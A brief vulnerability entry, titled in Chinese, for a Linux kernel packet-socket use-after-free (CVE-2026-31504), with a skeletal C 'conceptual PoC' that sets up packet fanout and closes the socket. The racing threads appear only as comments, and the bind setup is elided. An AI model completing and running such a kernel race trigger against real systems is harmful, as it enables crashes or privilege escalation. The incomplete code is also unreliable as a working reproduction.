CVE-2026-31504 Linux内核packet释放重用漏洞

// Conceptual PoC for CVE-2026-31504 // Requires root or CAP_NET_RAW usually, but exploit might lower barriers. #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> void trigger_race() { int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (fd < 0) return; // Bind to fanout struct sockaddr_ll sa; // ... setup bind ... int fanout_val = 100; setsockopt(fd, SOL_PACKET, PACKET_FANOUT, &fanout_val, sizeof(fanout_val)); // Thread 1: Close the socket (triggers packet_release) // Thread 2: Bring interface UP/Down (triggers NETDEV_UP) // The goal is to hit the race window between lock release and num cleanup. close(fd); } int main() { // Fork threads to increase race probability trigger_race(); return 0; }